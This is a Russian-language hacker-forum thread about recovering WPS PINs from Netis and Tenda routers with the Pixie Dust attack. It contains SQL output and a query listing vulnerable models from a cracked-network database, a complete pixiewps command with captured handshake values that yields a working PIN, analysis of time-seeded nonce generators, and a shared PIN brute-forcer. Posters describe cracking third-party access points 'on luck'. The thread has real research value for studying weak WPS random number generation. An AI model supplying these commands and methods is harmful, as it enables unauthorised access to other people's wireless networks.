| 8639731 | 2 | 1 | 325R, hardware: 2.0 |
| 1144979 | 1 | 1 | 325R, hardware: 2.0 |
| 1198192 | 1 | 1 | 301R, hardware: 2.0 |
| 1419512 | 1 | 1 | 301R, hardware: 2.0 |
| 1419669 | 1 | 1 | 301R, hardware: 2.0 |
| 1419818 | 1 | 1 | 301R, hardware: 2.0 |
| 1639824 | 1 | 1 | 301R, hardware: 1.0 |
| 1781942 | 1 | 1 | 301R, hardware: 1.0 |
| 1782255 | 1 | 1 | 301R, hardware: 1.0 |
| 2300391 | 1 | 1 | 301R, hardware: 2.0 |
| 2733061 | 1 | 1 | 305R, hardware: 1.0 |
| 3616317 | 1 | 1 | 301R, hardware: 2.0 |
| 4191216 | 1 | 1 | 325R, hardware: 2.0 |
| 4863394 | 1 | 1 | 325R, hardware: 2.0 |
| 6740099 | 1 | 1 | 301R, hardware: 2.0 |
| 6740167 | 1 | 1 | 301R, hardware: 2.0 |
| 7097342 | 1 | 1 | er MW300R rebranded |
| 3288806 | 2 | 0 | NULL |
| 6776076 | 2 | 0 | NULL |
| 9884461 | 2 | 0 | NULL |
+---------+-----+---+-----------------------------------------------------------------+
44 rows in set (0.01 sec)

+---------+-----+---+-----------------------------------------------------------------+
| const | n | m | Models |
+---------+-----+---+-----------------------------------------------------------------+
| 214517 | 26 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 324127 | 3 | 1 | 301R, hardware: 2.0 |
| 1144728 | 2 | 1 | 325R, hardware: 2.0 |
| 1144979 | 1 | 1 | 325R, hardware: 2.0 |
| 1198183 | 76 | 1 | 301R, hardware: 2.0 |
| 1198192 | 1 | 1 | 301R, hardware: 2.0 |
| 1418951 | 29 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 1419512 | 1 | 1 | 301R, hardware: 2.0 |
| 1419669 | 1 | 1 | 301R, hardware: 2.0 |
| 1419818 | 1 | 1 | 301R, hardware: 2.0 |
| 1639824 | 1 | 1 | 301R, hardware: 1.0 |
| 1672762 | 9 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 1781942 | 1 | 1 | 301R, hardware: 1.0 |
| 1782255 | 1 | 1 | 301R, hardware: 1.0 |
| 1782372 | 15 | 1 | 301R, hardware: 2.0 |
| 2299773 | 70 | 1 | 301R, hardware: 2.0 |
| 2300391 | 1 | 1 | 301R, hardware: 2.0 |
| 2732971 | 113 | 3 | 305R, hardware: 1.0 | 305R, hardware: 2.0 | 325R, hardware: 2.0 |
| 2733061 | 1 | 1 | 305R, hardware: 1.0 |
| 2877196 | 4 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 2980878 | 4 | 1 | 305R, hardware: 2.0 |
| 3032128 | 144 | 1 | 301R, hardware: 2.0 |
| 3288806 | 2 | 0 | NULL |
| 3616317 | 1 | 1 | 301R, hardware: 2.0 |
| 4191216 | 1 | 1 | 325R, hardware: 2.0 |
| 4538175 | 2 | 1 | 305R, hardware: 1.0 |
| 4863394 | 1 | 1 | 325R, hardware: 2.0 |
| 5107645 | 22 | 1 | 301R, hardware: 2.0 |
| 5737450 | 6 | 1 | 325R, hardware: 2.0 |
| 5874232 | 14 | 1 | 301R, hardware: 2.0 |
| 6321639 | 2 | 1 | 325R, hardware: 2.0 |
| 6324054 | 33 | 3 | 301R, hardware: 1.0 | 305R, hardware: 2.0 | 305R, hardware: 1.0 |
| 6739656 | 21 | 2 | 301R, hardware: 1.0 | 305R, hardware: 1.0 |
| 6740099 | 1 | 1 | 301R, hardware: 2.0 |
| 6740167 | 1 | 1 | 301R, hardware: 2.0 |
| 6748288 | 262 | 1 | 301R, hardware: 2.0 |
| 6776076 | 2 | 0 | NULL |
| 7097342 | 1 | 1 | er MW300R rebranded |
| 7198110 | 39 | 1 | 305R, hardware: 2.0 |
| 7782299 | 3 | 1 | 305R, hardware: 2.0 |
| 8639731 | 2 | 1 | 325R, hardware: 2.0 |
| 9288922 | 23 | 1 | 305R, hardware: 2.0 |
| 9686483 | 5 | 1 | 325R, hardware: 2.0 |
| 9884461 | 2 | 0 | NULL |
+---------+-----+---+-----------------------------------------------------------------+
44 rows in set (0.01 sec)

binarymaster
05.10.2020, 17:04
Просьба к @binarymaster (https://forum.antichat.xyz/members/148032/), @Felis-Sapiens (https://forum.antichat.xyz/members/268504/) и другим админам 3wifi (если таковые существуют): пожалуйста, поищите в базе другие OUI с этой уязвимостью, и сделайте по ним выборку с моделями устройств.



Поискать по запросу могу, но этот запрос не проходит, нет колонок OUI и NIC, есть только BSSID в десятиричном виде.

Isica
05.10.2020, 20:21
Поискать по запросу могу, но этот запрос не проходит, нет колонок OUI и NIC, есть только BSSID в десятиричном виде.



Тогда так:


SELECT LPAD(CONV(BSSID>>24,10,16),6,'0') OUI, COUNT(DISTINCT(FLOOR(PIN/10)))/COUNT(DISTINCT(FLOOR(PIN/10))-(BSSID&255)-(BSSID>>8&255)-(BSSID>>16&255)) y FROM [TABLE] GROUP BY OUI HAVING y>2 ORDER BY OUI;

А пока хотелось бы посмотреть выборку с моделями по C0:A5D и C8:E78--там довольно много целевых устройств.

TOX1C
31.10.2020, 15:28
Может баг возникает при первом подключении через wps после перезагрузки? Решил на удачу сломать нетис с сильным сигналом и плохими клиентами, и сразу словил этот баг.


pixiewps -e d0:14:1b:15:65:6e:96:b8:5f:ce:ad:2e:8e:76:33:0d:2b :1a:c1:57:6b:b0:26:e7:a3:28:c0:e1:ba:f8:cf:91:66:4 3:71:17:4c:08:ee:12:ec:92:b0:51:9c:54:87:9f:21:25: 5b:e5:a8:77:0e:1f:a1:88:04:70:ef:42:3c:90:e3:4d:78 :47:a6:fc:b4:92:45:63:d1:af:1d:b0:c4:81:ea:d9:85:2 c:51:9b:f1:dd:42:9c:16:39:51:cf:69:18:1b:13:2a:ea: 2a:36:84:ca:f3:5b:c5:4a:ca:1b:20:c8:8b:b3:b7:33:9f :f7:d5:6e:09:13:9d:77:f0:ac:58:07:90:97:93:82:51:d b:be:75:e8:67:15:cc:6b:7c:0c:a9:45:fa:8d:d8:d6:61: be:b7:3b:41:40:32:79:8d:ad:ee:32:b5:dd:61:bf:10:5f :18:d8:92:17:76:0b:75:c5:d9:66:a5:a4:90:47:2c:eb:a 9:e3:b4:22:4f:3d:89:fb:2b -r ba:bd:fa:ee:b1:3e:a0:ca:0a:6b:18:cd:14:88:78:48:88 :07:18:d8:69:dc:7a:87:dd:f0:d9:93:9d:5e:f1:7e:dd:3 c:11:e7:b6:12:4c:19:32:37:26:ef:51:5f:40:92:eb:fb: cd:d9:f9:d5:13:90:6c:ed:05:c3:4d:e1:88:11:79:56:ec :15:57:a1:64:21:69:a8:79:07:09:d6:14:83:f1:6f:ce:4 6:fd:59:f2:b8:ed:55:23:e0:83:4b:98:07:cb:16:fb:e0: cd:4b:00:fd:da:24:2f:f5:8c:0c:a8:e2:47:d3:e3:83:a6 :66:49:c3:6a:29:6d:4d:11:49:be:e3:45:40:8c:bf:1b:4 b:29:99:42:8d:c3:ed:6d:07:0d:00:ca:ca:eb:14:f1:1f: dd:84:dc:2e:3f:fc:0f:14:77:6f:0d:6e:66:64:0b:c3:03 :c8:51:4c:72:80:4b:21:94:63:cf:ff:84:a7:39:bd:61:0 5:57:ed:eb:a5:57:cd:aa:e9 -s 40:ed:69:e8:26:19:89:fd:f9:52:34:7e:23:1e:80:5f:fc :d0:f7:9a:2f:ae:be:29:02:cc:8a:7b:8c:7c:f6:5f -z d4:0b:ad:de:54:a8:36:88:aa:e0:b5:22:ee:ca:d9:91:6a :06:7c:5e:6e:79:13:eb:2b:61:5c:ee:a7:2e:7f:de -a 2b:72:3c:0f:c8:ad:41:b9:cc:17:0d:08:91:9a:21:aa:7a :7f:8e:8a:d2:27:df:b3:52:83:98:57:44:99:87:ba -n 6a:2d:d5:53:3e:cf:3d:dc:6b:bd:35:29:0a:7d:7d:62 -m 50:e4:07:36:30:d6:10:f8:74:3a:74:72:87:d9:d0:27 -v 3 --force


Pixiewps 1.4

[?] Mode: 3 (RTL819x)
Seed N1: -
Seed ES1: -
Seed ES2: -
PSK1: 198320541c5e9596caa3dbc2cfd25634
PSK2: 33027afb9d27de4236880b776734f16e
ES1: 6a2dd5533ecf3ddc6bbd35290a7d7d62
ES2: 6a2dd5533ecf3ddc6bbd35290a7d7d62
[+] WPS pin: 08367044

Time taken: 0 s 11 ms

Такой же Netis WF2411E_RU, прошивка 2.4.41346

Странно так же и то, что точка после этого бага продолжает использовать время в качестве рандома.

VasiliyP
01.11.2020, 20:45
Может баг возникает при первом подключении через wps после перезагрузки? Решил на удачу сломать нетис с сильным сигналом и плохими клиентами, и сразу словил этот баг.



В вашем логе нет ничего особенного. Точка генерирует три "случайных" числа. Одно из них известно (-n 6a:2d... на входе pixewps). Два других (ES1, ES2) нужно подобрать. Так вот, если realtek генерирует эти три числа в течение одной секунды то они оказываются... равны. Потому что генератор каждый раз инициализируется номером текущей секунды (Seed N1). И подбирать номер той секунды попросту не нужно. Что мы и наблюдаем в логе.

А если не равны? Тогда по известному числу (-n 6a:2d...) был бы подобран номер секунды (Seed N1) и проверялись бы Seed ES1,2 из предположения, что они по номеру где-то рядом.

4Fun
01.11.2020, 20:48
В вашем логе нет ничего особенного. Точка генерирует три "случайных" числа. Одно из них известно (-n 6a:2d... на входе pixewps). Два других (ES1, ES2) нужно подобрать. Так вот, если realtek генерирует эти три числа в течение одной секунды то они оказываются... равны. Потому что генератор каждый раз инициализируется номером текущей секунды (Seed N1). И подбирать номер той секунды попросту не нужно. Что мы и наблюдаем в логе.



В том-то и дело, что когда seed у E-Nonce, E-S1 и E-S2 основаны на времени и равны (или отличаются в секунду-две), они печатаются напротив "Seed N1:" и "Seed N2:", то есть пользователь видит 2 timestamp, совпадающих или отличающихся в 1-2 секунды — здесь же прочерки. Что значат эти прочерки, я не разобрался, т.к. чтение исходников Pixiewps на Си я пока что не поднимаю.

VasiliyP
01.11.2020, 20:58
Что значат эти прочерки, я не разобрался, т.к. чтение исходников Pixiewps на Си я пока что не поднимаю.



Прочерки означают, что эти значения не вычислялись. Они нужны только для вычисления E-S1,2. Поскольку E-S1,2 оказались известны, seed не нужно вычислять.

4Fun
01.11.2020, 21:01
Прочерки означают, что эти значения не вычислялись. Они нужны только для вычисления E-S1,2. Поскольку E-S1,2 оказались известны, seed не нужно вычислять.



Хорошо, тогда на чём основаны E-Nonce, E-S1 и E-S2, если они не вычисляются с помощью PRNG на основе текущего времени? Это какие-то константы? Если так, то об этом не говорилось в оригинальной презентации Доминика Бонгарда, а также в других источниках.

VasiliyP
01.11.2020, 21:15
Хорошо, тогда на чём основаны E-Nonce, E-S1 и E-S2, если они не вычисляются с помощью PRNG на основе текущего времени? Это какие-то константы?



В идеале это должны быть настоящие случайные числа. Но китайцам было лень.

Monohrom
02.11.2020, 01:19
В идеале это должны быть настоящие случайные числа. Но китайцам было лень.



И они заюзали сишный rand для генерации чисел? Осталось только понять почему девайсы через n попыток перестают вычислять значения и в итоге мы берём точку с помощью pixiewps

TOX1C
02.11.2020, 01:30
В копилку уязвимого добавляется netis WF2409E_RU с прошивкой 3.6.40537. Баг стабилен, точки сдаются все. Старые нетисы, которые с EV-2009-02-06 не сдаются, но ЕМНИП у них WPS сломан полностью.

Попробовал какую-то двухдиапазонную тенду бахнуть, pixiewps сразу завершился, рапортуя что pin not found. Хотя она то же EV-2010-09-20, как и дырявые нетисы. Не все так однозначно, получается.

VasiliyP
02.11.2020, 01:53
Осталось только понять почему девайсы через n попыток перестают вычислять значения и в итоге мы берём точку с помощью pixiewps



Есть пример (pixiewps с аргументами), когда уязвимая точка не ломалась?

Monohrom
02.11.2020, 02:09
Есть пример (pixiewps с аргументами), когда уязвимая точка не ломалась?



Есть. В основном устройства на которых работает такая фича это Тенды на базе eCos. И это очень забавно с учётом того что китайцы знают про атаку pixie dust.

https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/wsc.h#L1920

Monohrom
02.11.2020, 19:48
Не все так однозначно, получается.



Да, нужно бездумно тыкать, увы. Роутер может послать 9 раз, а на 10 разу сдаться, а может и после 20 раза послать так и не открывшись. Рандом. Если уж совсем роутер не жалко то можно и потыкать

4Fun
06.11.2020, 03:00
Попытался понять, как генерируются E-Nonce, E-S1 и E-S2 в роутерах Tenda с прошивками на базе eCos. Видно, что для генерации используется функция generate_random:

https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2793

https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2618

https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2650

Она реализована здесь:

https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3605

Видно, что в случае, если код собирается для eCos, сначала в буфер data записываются псевдослучайные байты, полученные генератором из стандартной библиотеки (generate_random2), но затем к ним подмешивается энтропия из какого-то встроенного пула (https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3631) и из генератора OpenSSL (https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3655).

Я попытался собрать этот генератор, но пока что ничего не выходит: не могу слинковать с OpenSSL. @VasiliyP (https://forum.antichat.xyz/members/172247/), посмотрите по свободе, пожалуйста.

VasiliyP
06.11.2020, 11:46
@VasiliyP (https://forum.antichat.xyz/members/172247/), посмотрите по свободе, пожалуйста.



Мне Monohrom показывал логи от такой тенды. E-Nonce - это то, что на выходе генератора псевдослучайных чисел. Поскольку E-Nonce не содержат никаких приватных данных, я их опубликую здесь.


[P] E-Nonce: 284891A9294E1F230680AA030EB6D58A 0x284891A9 0x294E1F23 0x0680AA03 0x0EB6D58A
[P] E-Nonce: 02F582ED1BA7EDD81EA66A7B11412AE7 0x02F582ED 0x1BA7EDD8 0x1EA66A7B 0x11412AE7
[P] E-Nonce: 4F7FD0AE1DD61ABD5D3C4C321B10A7A4 0x4F7FD0AE 0x1DD61ABD 0x5D3C4C32 0x1B10A7A4
[P] E-Nonce: 2D9D6A736C4AD1C62BB603BA7BF1B2CA 0x2D9D6A73 0x6C4AD1C6 0x2BB603BA 0x7BF1B2CA
[P] E-Nonce: 0BBB03B73ABF884F7A2FBB425CD2BDEF 0x0BBB03B7 0x3ABF884F 0x7A2FBB42 0x5CD2BDEF
[P] E-Nonce: 140FF4243D6879DC23D6A60828478046 0x140FF424 0x3D6879DC 0x23D6A608 0x28478046
[P] E-Nonce: 5CE999E5639BBEED2BD890B053E0473A 0x5CE999E5 0x639BBEED 0x2BD890B0 0x53E0473A
[P] E-Nonce: 25C33F2709AF03FF33DA7B587F790E2F 0x25C33F27 0x09AF03FF 0x33DA7B58 0x7F790E2F
[P] E-Nonce: 6B0C3C6753A7603D05686EF04CDB1F5B 0x6B0C3C67 0x53A7603D 0x05686EF0 0x4CDB1F5B
[P] E-Nonce: 33E5E1A979DAA4CF0D8A59187853E650 0x33E5E1A9 0x79DAA4CF 0x0D8A5918 0x7853E650
Я эти числа разбил на слова по 4 байта. Посмотрите, старший бит каждого слова всегда == 0. Генератор в ваших исходниках таким свойством не обладает. Стало быть, это не он.



к ним подмешивается энтропия из какого-то встроенного пула



Это копия генератора из ядра linux(/dev/urandom), он там меняется от версии к версии, но примерно вот этот:

https://elixir.bootlin.com/linux/v2.6.39.4/source/drivers/char/random.c#L467

4Fun
06.11.2020, 19:57
Сегодня мною был обнаружен глючный тип роутеров Netis. Началось с того, что на одном из таких Pixiewps серьёзно задумалась (почти на 2 минуты), и это при том, что я не запускал её с флагом --force. Вскоре выяснилось, что причина в том, что Pixiewps, найдя seed E-Nonce, не может найти seed E-S1,2. Нашёл seed E-Nonce я вручную с помощью вот такого генератора (взят из исходников демона wsc от Realtek).

После пары часов копания в исходниках и чтения листингов Гидры я заметил, что числа E-Hash1 и E-Hash2, которые я получил в M3, равны.

Давайте порассуждаем. Сразу хочу напомнить, как генерируются E-Hash1,2:


E-Hash1 = HMAC-SHA-256(authkey) (E-S1 | PSK1 | PKE | PKR)
E-Hash2 = HMAC-SHA-256(authkey) (E-S2 | PSK2 | PKE | PKR)
где PSK1,2 — это


PSK1 = HMAC-SHA-256(authkey) (первые_4_цифры_пина)
PSK2 = HMAC-SHA-256(authkey) (последние_4_цифры_пина)
Хорошо, если хэши равны, то можно предположить, что E-S1 = E-S2 (допустим, они генерировались в одну и ту же секунду), но тогда и PSK1 должен быть равен PSK2, но при этом я знаю, что первая часть пин-кода не совпадает со второй, как тогда такое может быть?

Сразу же после того, как заметил это, попытался подключиться с пин-кодом из настроек роутера, и... неудача.

Вывод прост: китайцы допустили баг в генерации хэшей. Обращайте внимание на E-Hash1,2, если они равны, то, может быть, нет смысла мучить железку?

К сведению: Netis WF2419, версия прошивки V2.2.41694.

Monohrom
06.11.2020, 20:18
Теперь ясно как именно сломан wps на Нетисе. Увы.

TOX1C
06.11.2020, 21:06
В основном устройства на которых работает такая фича это Тенды на базе eCos.



А какие конкретно модели на это поддаются? Пробовал на нескольких двухдиапазонных тендах, многократно уводя их в блокировку - результат нулевой. Иногда pixiewps завершался не сразу же, а пытался что-то подбирать, но тоже безрезультатно.



Да, нужно бездумно тыкать, увы.



От времени между попытками что-то зависит? Или нужно обязательно точку долбить как можно быстрее, или вообще с 10 окон терминала, запущенных в одну секунду?

Monohrom
06.11.2020, 21:18
От времени между попытками что-то зависит? Или нужно обязательно точку долбить как можно быстрее, или вообще с 10 окон терминала, запущенных в одну секунду?



Есть теория что это зависит от загруженности роутера. если он не загружен то происходит то что написал Василий: "если realtek генерирует эти три числа в течение одной секунды то они оказываются... равны.".

Если же роутер загружен то облом. Можно попробовать перезагрузить роутер и попробовать подключиться с pixiewps по идее должны быть прочерки но пока что но пока что это не проверял.

VasiliyP
06.11.2020, 22:25
Пока что лишь могу предположить, что для того, чтобы E-Nonce, E-S1,2 генерировались в одну секунду, роутер должен быть как можно меньше нагружен (чтобы расчёты на его стороне шли быстро), а качество связи между вами и роутером должно быть как можно более лучшим



Да. Только если в момент генерации M1 время тенды hh:mm:ss.999, то уже ничего не поможет. Нужно, чтобы M1 по времени был ближе к hh:mm:ss.000, то есть как-то синхронизировать время. Вот в beacon и probe respopnse есть штамп времени. Синхронно ли оно с системным временем для этих eCos - неизвестно. А может быть просто вынуждать точку генерировать M1 как из пулемёта, как только там сменился E-Nonce - сразу пулять M2.

4Fun
07.11.2020, 01:13
@binarymaster (https://forum.antichat.xyz/members/148032/) спасибо за уточнение и интересные подробности с нечётной длиной. Опустил это в своём сообщении, т.к. в моём случае пин не пустой, а случай, когда 1 и 2 подстроки равны, исключён при пин-коде в 8 символов и не совпадающих половинках.

binarymaster
07.11.2020, 01:17
Опустил это в своём сообщении, т.к. в моём случае пин не пустой, а случай, когда 1 и 2 подстроки равны, исключён при пин-коде в 8 символов и не совпадающих половинках.



Также напомню историю про RV6688BCM, которые после автоматического обновления прошивки от провайдера все поголовно начали открываться от пустого пина, не смотря на то, что на наклейке устройства и в веб интерфейсе вполне нормальный 8-значный пин.

4Fun
07.11.2020, 01:47
Также напомню историю про RV6688BCM, которые после автоматического обновления прошивки от провайдера все поголовно начали открываться от пустого пина, не смотря на то, что на наклейке устройства и в веб интерфейсе вполне нормальный 8-значный пин.


К слову, заметил на этом же глючном Нетисе странную особенность и подтвердил её 2 раза: после сброса на заводские настройки и перезагрузки Pixie Dust начинает работать, seed вычисляется как положено, работает пин, указанный в настройках, E-Hash1,2 не равны. Но стоит перезагрузить роутер — магия исчезает и появляется та самая заглюченность, которую я подробно описал в посте выше. И сохраняется это состояние до сброса к заводским настройкам.

P.S. пустой пин тоже не подходит, как и 00000000 в состоянии заглюченности.

Есть подозрение, что связано это с багом записи пина во flash, но почему тогда Pixiewps бессильна — остаётся загадкой.

TOX1C
07.11.2020, 02:42
А может ли в качестве пина быть не число, а что-то другое, кусок строки например. Как с пустым пином, ведь такого не должно быть.



Существуют Тенды, у которых есть 1 признак, но нет 2 и 3 — видимо, это более дорогие модели на базе eCos.



У меня из таких тенд всего одна на горизонте, у всех остальных из двухдиапазонных полное несовпадение. Попробую на обычном однодиапазонном выловить баг, хоть в нем немного смысла, эти роутеры быстрее и почти гарантированно ломает генератор, иногда даже с первой попытки.

binarymaster
07.11.2020, 14:17
А может ли в качестве пина быть не число, а что-то другое, кусок строки например. Как с пустым пином, ведь такого не должно быть.



Может, поскольку пин-код "под капотом" хранится в обычной ANSI строке, следовательно ничто не мешает туда положить символы, отличные от числовых.

Я бы посоветовал пропатчить pixiewps (или даже hashcat?), чтобы побрутить первую часть PSK1 для начала. Это конечно, если seed удаётся правильный найти.

4Fun
08.11.2020, 05:36
Я бы посоветовал пропатчить pixiewps (или даже hashcat?), чтобы побрутить первую часть PSK1 для начала. Это конечно, если seed удаётся правильный найти.



Включил в Pixiewps режим отладки, как и писал вчера, убедился в том, что seed N1 нашёлся, но E-S1,2 не находятся. Вы считаете, что нужно взять этот seed (и ближайшие к нему), вычислить с ним E-S1,2 и побрутить с ними пин как произвольную строку?

binarymaster
08.11.2020, 12:58
Включил в Pixiewps режим отладки, как и писал вчера, убедился в том, что seed N1 нашёлся, но E-S1,2 не находятся. Вы считаете, что нужно взять этот seed (и ближайшие к нему), вычислить с ним E-S1,2 и побрутить с ними пин как произвольную строку?



Именно.

4Fun
13.11.2020, 01:54
Вы считаете, что нужно взять этот seed (и ближайшие к нему), вычислить с ним E-S1,2 и побрутить с ними пин как произвольную строку?



Написал программку на основе исходников Pixiewps и инкрементно (наращивая длину строки от 1 до 4) пробрутфорсил латинские буквы + цифры в качестве первой, а затем и второй половинок — результат отрицательный. Видимо, всё-таки баг в прошивке роутера.

Потратил достаточно много времени (не писал на Си ранее), чтобы сделать брутфорсер. Хочу поделиться, возможно, когда-нибудь кому-то пригодится для подобных исследований. Собирается так:


cmake .
make

Isica
13.11.2020, 08:12
инкрементно (наращивая длину строки от 1 до 4) пробрутфорсил латинские буквы + цифры в качестве первой



А надо бы от 0 до "сколько не жалко" символов, и не буквы, а всё подряд (баг в прошивке вряд ли старается совать туда буквы, а длина строки в результате этого бага может очень серьёзно гульнуть, но не исключено, что строка эта из одних нулей или FF).